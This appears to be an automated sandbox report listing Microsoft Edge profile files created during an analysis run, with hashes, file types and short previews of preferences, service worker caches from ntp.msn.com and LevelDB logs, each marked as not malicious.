
Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564071443514442
Encrypted:	false
SSDEEP:	768:VqlGqRWPKcfmj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtZqJOFprwUWeZqKpMtuD:VqlGqRWPKcfmju1jaYZqQFaUWe4xtc
MD5:	00E420CF263F6149ECC2BC20530708AF
SHA1:	FE6F853E6B97305591FF52D1B778F251FDE376F4
SHA-256:	3E93CBC1EF2E30C05D6361E8F36B17FA0A9C7CBD25F51D4B81180C72FA3F5EF9
SHA-512:	35555F60F88A70E9F50F98541CC778537A26F648BDB6F6CD0FDA76B43127C2630BF034F98C839769AF379CAB2B547189250D12030CA072B34BD2B304832A7811
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376232088538137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376232088538137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.842999038614156
Encrypted:	false
SSDEEP:	48:F2emztrdDRfBJXrd6NgtcMrdDcB6rd/BY:F1mztxDRHx6Ngt3xDFxG
MD5:	D8AD5A5A01F059A6CEF8A0AC3E36E432
SHA1:	844735601F7CA793836AE254A111CB273FF3CEC0
SHA-256:	64D4A9D7530504DC2BD910F01828660EA6FD25291C2738F5608BEB13D1008E98
SHA-512:	9C28627CCF0BB6D55F0E9A34D762B605CF740DE7B506686D812C2D3CBFB9FCDF5A9260B9DF0560EC2208443F56EB176D4806AEE27B1A816297ABDB05C2AF497E
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.Z..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.198896855068782
Encrypted:	false
SSDEEP:	6:HUafjNB1923oH+TcwtE/a252KLlVUafUacM+q2P923oH+TcwtE/a2ZIFUv:PSYeb8xL3cfM+v4Yeb8J2FUv
MD5:	A2EAE91675C8FD7F6DB251982597BDB6
SHA1:	BAFAEEB715EECA03AA6C0926767D470933B3BCA5
SHA-256:	89E0ED37A056F81E08CB896E9FC46B23B200CFB1FB11240C2397D588884F24C6
SHA-512:	971FA5406D619DED65205AA21B3F2B78A855977DBA14377B86B173368916E65438F5AAE95949B2C5A3BE56C7DBE3331282AFADEB6D34D334C2B35010143ACDBC
Malicious:	false
Preview:	2024/11/16-07:01:38.785 196c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/16-07:01:38.798 196c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.57812393742111
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqCzu:d9LyxPXfOxr1lMe1nL/CL/TXEmilRIu
MD5:	C9DCDCA0730D0616F5DE386F76CE294A
SHA1:	D734417AC65687294E871AE483DB2DEE4553C26B
SHA-256:	18B0DEED2ED172ABD83D60EF58462DC376B69A80F88FF523B86F2084135E6E53
SHA-512:	9B8533FF315E48FE0E1F26E08F5FD95F7368EDBBA66E4F350D4F91C907111C516E9DBA8C235BCEE0CC754823B0127023D25F14A9D2D3170EB2B80E317D7D6E41
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188977
Entropy (8bit):	6.386109323850647
Encrypted:	false
SSDEEP:	3072:GsyUa99yMnLC1fwBu10MtL/KgMWn8GWJjEtDPy2c:nfwq0WL/vxpWV5P
MD5:	6701E2DF0C7935B306719CF27E78170C
SHA1:	C0F8942B9EF4BF0D7351E08837501838490DE365
SHA-256:	797B257C7597655CAEAE5DF00382117EC0DF7850923F3802D82D294F4462BC80
SHA-512:	A79F70C71459E68EF3A087BBFFE0C7C9D65DF54ED62E9E2260E609AF35CEF9EC0CDCB9795B0C3C89530E0D9D458580E3D651685D74F18D2000CEF2FF578C6D40
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc..B\....exports...Rc./......module....Rc../Z....define....Rb.2d6....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.^.W.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:aDxyR0Xl/lR/lxEwltXxen:aDxNCQq
MD5:	DF1DC6B64F034BB364441F5B1F9D23ED
SHA1:	7814295D33B45E9727E980335CD5E0EF8A4766DA
SHA-256:	889AFF0142436095A97FCA3B0C807A52C032149D2577B2D8A3E08B08102C749E
SHA-512:	932F11E9CEB84FEA57F57266F55C967DB31B84D650C53E2C8DBAFB632A4CC4BA801AF1B25F92FC3DC460D1F229A27A09900FACD776637F1C18F00631E80B597C
Malicious:	false
Preview:	@...of..oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:aDxyR0Xl/lR/lxEwltXxen:aDxNCQq
MD5:	DF1DC6B64F034BB364441F5B1F9D23ED
SHA1:	7814295D33B45E9727E980335CD5E0EF8A4766DA
SHA-256:	889AFF0142436095A97FCA3B0C807A52C032149D2577B2D8A3E08B08102C749E
SHA-512:	932F11E9CEB84FEA57F57266F55C967DB31B84D650C53E2C8DBAFB632A4CC4BA801AF1B25F92FC3DC460D1F229A27A09900FACD776637F1C18F00631E80B597C
Malicious:	false
Preview:	@...of..oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3ff12.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:aDxyR0Xl/lR/lxEwltXxen:aDxNCQq
MD5:	DF1DC6B64F034BB364441F5B1F9D23ED
SHA1:	7814295D33B45E9727E980335CD5E0EF8A4766DA
SHA-256:	889AFF0142436095A97FCA3B0C807A52C032149D2577B2D8A3E08B08102C749E
SHA-512:	932F11E9CEB84FEA57F57266F55C967DB31B84D650C53E2C8DBAFB632A4CC4BA801AF1B25F92FC3DC460D1F229A27A09900FACD776637F1C18F00631E80B597C
Malicious:	false
Preview:	@...of..oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5051
Entropy (8bit):	3.4379329579038815
Encrypted:	false
SSDEEP:	96:KkxB/G9Kom6vzidBstv59kPp9X3+0X+o+itv5SLl9iSriy14z:KSRo2BWv59w9X3+0X1+it5SLl9iSrPG
MD5:	34F4DC96665ED1299CEF435071A820DF
SHA1:	4DAADBC3229B030C69ADC3B18FB17DDE106C4832
SHA-256:	861ED745C0DDBC89A5F506DA0E2E3E6105EDA770338FA0FEA31CF2BFB6380CC8
SHA-512:	DEFF70AD30FBE3C7EBE11258D1D6C59FE88A70432320AEDA8F259CC62B3D2F9F321EA5F3C380FA2DD1ED76EBA798CBFFDE5C758DBEFB210F124708E5DA4BC952
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................u.b................next-map-id.1.Cnamespace-38538982_a5d5_471d_9903_a7ef28f1b9e6-https://ntp.msn.com/.0~.y.v................map-0-shd_sweeper.${.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.p.r.e.p.r.g.-.1.s.w.-.s.a.q.o.o.m.i.t.e.r.1.1.c.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.n.i.c.h.e.t.4.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.s.k.a.b.w.e.i.g.h.t.c.t.r.l.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.7.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.7.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.t.p.s.n.-.p.r.g.l.d.n.g.-.c.,.p.r.g.-.1.s.w.-.t.p.s.n.p.g.2.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.r.o.u.t.e.g.r.a.p.h.e.x.p.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.140630088382893
Encrypted:	false
SSDEEP:	6:HUafXeGFIq2P923oH+TcwtrQMxIFUt8YUafXSnXZmw+YUafXPkwO923oH+Tcwtrb:P/eGOv4YebCFUt80/CX/+0/P5LYebtJ
MD5:	C92206075A63F98213E937BFF895D237
SHA1:	837952BFE1C5ED6A6AEC9BC9B483587697BEE20D
SHA-256:	B184188E6905E8BC9C1B64A88973B02EE00D326C4D3C42A4F9FEF317393C5C2C
SHA-512:	893FB46D208076079DFCCCD2A0222414DE379B6B6D41B513ABCAB1041E0D736D80181F837BD64521AF8441D64EB1743497AC8EBDF84EE9F8F2D6EBF5A1C5A831
Malicious:	false
Preview:	2024/11/16-07:01:29.247 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-07:01:29.336 1cd4 Recovering log #3.2024/11/16-07:01:29.346 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.140630088382893
Encrypted:	false
SSDEEP:	6:HUafXeGFIq2P923oH+TcwtrQMxIFUt8YUafXSnXZmw+YUafXPkwO923oH+Tcwtrb:P/eGOv4YebCFUt80/CX/+0/P5LYebtJ
MD5:	C92206075A63F98213E937BFF895D237
SHA1:	837952BFE1C5ED6A6AEC9BC9B483587697BEE20D
SHA-256:	B184188E6905E8BC9C1B64A88973B02EE00D326C4D3C42A4F9FEF317393C5C2C
SHA-512:	893FB46D208076079DFCCCD2A0222414DE379B6B6D41B513ABCAB1041E0D736D80181F837BD64521AF8441D64EB1743497AC8EBDF84EE9F8F2D6EBF5A1C5A831
Malicious:	false
Preview:	2024/11/16-07:01:29.247 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-07:01:29.336 1cd4 Recovering log #3.2024/11/16-07:01:29.346 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376232091048280

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8506742899727127
Encrypted:	false
SSDEEP:	24:3buueGYfyelmrpsAF4unxuD9tLp3X2amEtG1ChqVKI49WepclDlaMZQKkOAM49/:3buuenf0rzF+DXLp2FEkChdIKHOp
MD5:	FF2EF47A452DFB8CEDCEF686E87C9413
SHA1:	6567A5E304B338A7DFBE0E896A8B3A4D41181362
SHA-256:	0DA8171B0CB4F879CF7ABA95437B1836D723A41C8499BC5349D3CBE368045A0A
SHA-512:	E32834A236C104A0875D04DB9AFD4370201286DE8A1ED0C24A9C39D4E008A1C814BDA4E56B94B4C7DCC9A215FFE246B4D373EA1B4ADF70699AD6E012C591BB6F
Malicious:	false
Preview:	SNSS.......X..R...........X..R......"X..R...........X..R.......X..R.......Y..R.......Y..R....!..Y..R...............................X..RY..R1..,...Y..R$...38538982_a5d5_471d_9903_a7ef28f1b9e6...X..R.......Y..R....#,.........X..R...X..R.......................X..R....................5..0...X..R&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....X..R.......X..R..........................Y..R...........Y..R........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......J.q.'..K.q.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.16129167846106
Encrypted:	false
SSDEEP:	6:HUafXt7Iq2P923oH+Tcwt7Uh2ghZIFUt8YUafXsZmw+YUafXHZFzkwO923oH+Tcz:P/tUv4YebIhHh2FUt80/s/+0/5F5LYeQ
MD5:	B0A735245E31F6A82AF6950F997D909E
SHA1:	8D78D545EB11FB90285D9982D1B2448550FDE545
SHA-256:	3A8075D9790299287731964CDFF9C29A8FA8323C334837E5BACFE6AC19083E67
SHA-512:	516EB89A55E91805F04118D737A25CB3A657F57880C19FD688F26E5048063DC0C3B8DC47AD5192E458FDBF97A0498F5597C8415481A999B51ACB29100C0501C8
Malicious:	false
Preview:	2024/11/16-07:01:28.534 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-07:01:28.535 1ed4 Recovering log #3.2024/11/16-07:01:28.536 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.16129167846106
Encrypted:	false
SSDEEP:	6:HUafXt7Iq2P923oH+Tcwt7Uh2ghZIFUt8YUafXsZmw+YUafXHZFzkwO923oH+Tcz:P/tUv4YebIhHh2FUt80/s/+0/5F5LYeQ
MD5:	B0A735245E31F6A82AF6950F997D909E
SHA1:	8D78D545EB11FB90285D9982D1B2448550FDE545
SHA-256:	3A8075D9790299287731964CDFF9C29A8FA8323C334837E5BACFE6AC19083E67
SHA-512:	516EB89A55E91805F04118D737A25CB3A657F57880C19FD688F26E5048063DC0C3B8DC47AD5192E458FDBF97A0498F5597C8415481A999B51ACB29100C0501C8
Malicious:	false
Preview:	2024/11/16-07:01:28.534 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-07:01:28.535 1ed4 Recovering log #3.2024/11/16-07:01:28.536 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.25987498315364
Encrypted:	false
SSDEEP:	12:P/5lL+v4YebvqBQFUt80/yZ/+0/xLV5LYebvqBvJ:p64YebvZg8nLYebvk
MD5:	684E078808B00A135C18456C3D82D181
SHA1:	6333764A6458BCB19D20E2A95ADB9D6C14DE3AD1
SHA-256:	5C126DC4AE0E0B4B3CC89D4B6093A414E449E3A9AB42516AC26FB0BF1BB8AEDE
SHA-512:	D5443994B7B94C5223861FA24374F55369C340B7E7C6D70C7D3A832DB724187773832946B1FF9CF80367E1060757292D257DCF1F8F329604E7AF0A23161F743B
Malicious:	false
Preview:	2024/11/16-07:01:29.334 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-07:01:29.346 189c Recovering log #3.2024/11/16-07:01:29.350 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.25987498315364
Encrypted:	false
SSDEEP:	12:P/5lL+v4YebvqBQFUt80/yZ/+0/xLV5LYebvqBvJ:p64YebvZg8nLYebvk
MD5:	684E078808B00A135C18456C3D82D181
SHA1:	6333764A6458BCB19D20E2A95ADB9D6C14DE3AD1
SHA-256:	5C126DC4AE0E0B4B3CC89D4B6093A414E449E3A9AB42516AC26FB0BF1BB8AEDE
SHA-512:	D5443994B7B94C5223861FA24374F55369C340B7E7C6D70C7D3A832DB724187773832946B1FF9CF80367E1060757292D257DCF1F8F329604E7AF0A23161F743B
Malicious:	false
Preview:	2024/11/16-07:01:29.334 189c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-07:01:29.346 189c Recovering log #3.2024/11/16-07:01:29.350 189c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

